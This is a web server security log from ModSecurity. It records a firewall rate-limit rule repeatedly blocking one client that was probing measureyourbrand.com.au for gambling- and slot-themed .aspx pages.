[Thu Apr 02 10:23:50.587054 2026] [:error] [pid 29467:tid 29488] [client 51.75.128.50:45270] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ac3TNr4VUBFCJAq-WOl4RAAAARI"]
[Thu Apr 02 10:23:52.899773 2026] [:error] [pid 23927:tid 23930] [client 51.75.128.50:45282] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ac3TOEsZwqCndhl9uKDAwgAAAYE"]
[Thu Apr 02 10:23:55.227752 2026] [:error] [pid 23927:tid 23947] [client 51.75.128.50:45290] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ac3TO0sZwqCndhl9uKDAzAAAAZI"]
[Thu Apr 02 10:23:57.711523 2026] [:error] [pid 59194:tid 59228] [client 51.75.128.50:45300] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "ac3TPRMpAeV11hcQehz6zwAAAA8"]
[Thu Apr 02 10:24:00.016306 2026] [:error] [pid 37543:tid 37550] [client 51.75.128.50:45304] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "ac3TQHhdk2bEYJCvILZg9QAAAUU"]
[Thu Apr 02 10:24:02.485262 2026] [:error] [pid 59201:tid 59287] [client 51.75.128.50:38320] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ac3TQsAC0Tw8eL6gzZ6zQgAAAJQ"]
[Thu Apr 02 10:24:04.803384 2026] [:error] [pid 23927:tid 23941] [client 51.75.128.50:38336] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ac3TREsZwqCndhl9uKDA3wAAAYw"]
[Thu Apr 02 10:24:07.115855 2026] [:error] [pid 54384:tid 54401] [client 51.75.128.50:38338] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "ac3TR9WWpaby3TVN7Mdd4QAAAc8"]
[Thu Apr 02 10:24:09.437111 2026] [:error] [pid 59194:tid 59226] [client 51.75.128.50:38352] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ac3TSRMpAeV11hcQehz62AAAAA0"]
[Thu Apr 02 10:24:11.901091 2026] [:error] [pid 23927:tid 23939] [client 51.75.128.50:33048] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ac3TS0sZwqCndhl9uKDA8AAAAYo"]
[Thu Apr 02 10:24:14.226861 2026] [:error] [pid 59305:tid 59326] [client 51.75.128.50:33062] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ac3TTqr2tV4rDwKFxKdZ3QAAANE"]
[Thu Apr 02 10:24:16.538892 2026] [:error] [pid 59305:tid 59313] [client 51.75.128.50:33078] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ac3TUKr2tV4rDwKFxKdZ5QAAAMQ"]
[Thu Apr 02 10:24:19.021069 2026] [:error] [pid 59194:tid 59229] [client 51.75.128.50:33086] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ac3TUxMpAeV11hcQehz63QAAABA"]
[Thu Apr 02 10:24:39.941430 2026] [:error] [pid 23927:tid 23938] [client 51.75.128.50:52424] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ac3TZ0sZwqCndhl9uKDBUAAAAYk"]
[Thu Apr 02 10:24:42.356616 2026] [:error] [pid 23927:tid 23941] [client 51.75.128.50:36470] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "ac3TaksZwqCndhl9uKDBUgAAAYw"]
[Thu Apr 02 10:24:44.670696 2026] [:error] [pid 59305:tid 59322] [client 51.75.128.50:36476] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ac3TbKr2tV4rDwKFxKdaCAAAAM0"]
[Thu Apr 02 10:24:46.978850 2026] [:error] [pid 23927:tid 23933] [client 51.75.128.50:36490] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ac3TbksZwqCndhl9uKDBWwAAAYQ"]
[Thu Apr 02 10:24:49.296199 2026] [:error] [pid 59200:tid 59243] [client 51.75.128.50:36494] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "ac3TcbfP26txrdLs3EoeZgAAAEM"]
[Thu Apr 02 10:24:51.760090 2026] [:error] [pid 59194:tid 59229] [client 51.75.128.50:54900] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ac3TcxMpAeV11hcQehz65wAAABA"]
[Thu Apr 02 10:24:54.222555 2026] [:error] [pid 59201:tid 59269] [client 51.75.128.50:54916] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ac3TdsAC0Tw8eL6gzZ6zVgAAAII"]
[Thu Apr 02 10:24:56.737161 2026] [:error] [pid 59305:tid 59318] [client 51.75.128.50:54918] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ac3TeKr2tV4rDwKFxKdaFQAAAMk"]
[Thu Apr 02 10:24:59.193740 2026] [:error] [pid 29467:tid 29488] [client 51.75.128.50:54926] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ac3Te74VUBFCJAq-WOl4dQAAARI"]
[Thu Apr 02 10:25:01.513895 2026] [:error] [pid 54384:tid 54389] [client 51.75.128.50:45396] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ac3TfdWWpaby3TVN7MdeEAAAAcM"]
[Thu Apr 02 10:26:07.490001 2026] [:error] [pid 59200:tid 59247] [client 51.75.128.50:35854] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ac3Tv7fP26txrdLs3EoeiAAAAEc"]
[Thu Apr 02 10:26:09.889720 2026] [:error] [pid 59305:tid 59317] [client 51.75.128.50:38610] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ac3Twar2tV4rDwKFxKdacwAAAMg"]
[Thu Apr 02 10:26:12.318763 2026] [:error] [pid 59201:tid 59280] [client 51.75.128.50:41614] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "ac3TxMAC0Tw8eL6gzZ6zaAAAAI0"]
[Thu Apr 02 10:26:14.760098 2026] [:error] [pid 23927:tid 23941] [client 51.75.128.50:41624] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ac3TxksZwqCndhl9uKDCLAAAAYw"]
[Thu Apr 02 10:26:17.198454 2026] [:error] [pid 59305:tid 59329] [client 51.75.128.50:41626] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ac3Tyar2tV4rDwKFxKdaeAAAANQ"]
[Thu Apr 02 10:26:19.624605 2026] [:error] [pid 29467:tid 29486] [client 51.75.128.50:41638] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ac3Ty74VUBFCJAq-WOl4lgAAARA"]
[Thu Apr 02 10:26:22.055035 2026] [:error] [pid 23927:tid 23930] [client 51.75.128.50:39538] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ac3TzksZwqCndhl9uKDCNAAAAYE"]
[Thu Apr 02 10:26:24.493193 2026] [:error] [pid 23927:tid 23941] [client 51.75.128.50:39554] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ac3T0EsZwqCndhl9uKDCOwAAAYw"]
[Thu Apr 02 10:26:26.942677 2026] [:error] [pid 37543:tid 37551] [client 51.75.128.50:39558] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ac3T0nhdk2bEYJCvILZhLQAAAUY"]
[Thu Apr 02 10:26:29.380869 2026] [:error] [pid 23927:tid 23939] [client 51.75.128.50:39570] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ac3T1UsZwqCndhl9uKDCPwAAAYo"]
[Thu Apr 02 10:26:31.820950 2026] [:error] [pid 59201:tid 59289] [client 51.75.128.50:37908] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ac3T18AC0Tw8eL6gzZ6zbwAAAJY"]
[Thu Apr 02 10:26:34.250600 2026] [:error] [pid 23927:tid 23935] [client 51.75.128.50:37912] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ac3T2ksZwqCndhl9uKDCRwAAAYY"]
[Thu Apr 02 10:26:36.686728 2026] [:error] [pid 37543:tid 37569] [client 51.75.128.50:37914] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ac3T3Hhdk2bEYJCvILZhMgAAAVg"]
[Thu Apr 02 10:26:38.984341 2026] [:error] [pid 37543:tid 37553] [client 51.75.128.50:37916] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ac3T3nhdk2bEYJCvILZhNAAAAUg"]
[Thu Apr 02 10:26:41.418917 2026] [:error] [pid 59200:tid 59244] [client 51.75.128.50:45270] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ac3T4bfP26txrdLs3EoelQAAAEQ"]
[Thu Apr 02 10:26:43.847521 2026] [:error] [pid 23927:tid 23947] [client 51.75.128.50:45280] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ac3T40sZwqCndhl9uKDCTgAAAZI"]
[Thu Apr 02 10:26:46.283500 2026] [:error] [pid 23927:tid 23940] [client 51.75.128.50:45294] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "ac3T5ksZwqCndhl9uKDCVwAAAYs"]
[Thu Apr 02 10:26:48.598852 2026] [:error] [pid 23927:tid 23945] [client 51.75.128.50:45300] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ac3T6EsZwqCndhl9uKDCYgAAAZA"]
[Thu Apr 02 10:26:51.020468 2026] [:error] [pid 23927:tid 23934] [client 51.75.128.50:50082] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ac3T60sZwqCndhl9uKDCaAAAAYU"]
[Thu Apr 02 10:26:53.454035 2026] [:error] [pid 59194:tid 59226] [client 51.75.128.50:50090] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ac3T7RMpAeV11hcQehz7BwAAAA0"]
[Thu Apr 02 10:26:55.886218 2026] [:error] [pid 23927:tid 23937] [client 51.75.128.50:50104] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ac3T70sZwqCndhl9uKDCbQAAAYg"]
[Thu Apr 02 10:26:58.314589 2026] [:error] [pid 59305:tid 59331] [client 51.75.128.50:50112] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ac3T8qr2tV4rDwKFxKdanQAAANY"]
[Thu Apr 02 10:27:00.780580 2026] [:error] [pid 29467:tid 29471] [client 51.75.128.50:46692] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ac3T9L4VUBFCJAq-WOl4pQAAAQE"]
[Thu Apr 02 10:27:03.194169 2026] [:error] [pid 59305:tid 59323] [client 51.75.128.50:46708] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ac3T96r2tV4rDwKFxKdaogAAAM4"]
[Thu Apr 02 10:27:24.179547 2026] [:error] [pid 59305:tid 59315] [client 51.75.128.50:46720] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ac3UDKr2tV4rDwKFxKdavgAAAMY"]
[Thu Apr 02 10:27:26.591344 2026] [:error] [pid 23927:tid 23936] [client 51.75.128.50:52718] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ac3UDksZwqCndhl9uKDCuQAAAYc"]
[Thu Apr 02 10:27:29.019882 2026] [:error] [pid 37543:tid 37562] [client 51.75.128.50:52726] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ac3UEXhdk2bEYJCvILZhSgAAAVE"]
[Thu Apr 02 10:27:31.448069 2026] [:error] [pid 29467:tid 29488] [client 51.75.128.50:54684] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ac3UE74VUBFCJAq-WOl4uQAAARI"]
[Thu Apr 02 10:27:33.909754 2026] [:error] [pid 54384:tid 54408] [client 51.75.128.50:54700] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ac3UFdWWpaby3TVN7MdetwAAAdY"]
[Thu Apr 02 10:27:36.330252 2026] [:error] [pid 59305:tid 59329] [client 51.75.128.50:54706] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ac3UGKr2tV4rDwKFxKdawwAAANQ"]
[Thu Apr 02 10:27:38.755670 2026] [:error] [pid 59305:tid 59327] [client 51.75.128.50:54716] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ac3UGqr2tV4rDwKFxKdaxwAAANI"]
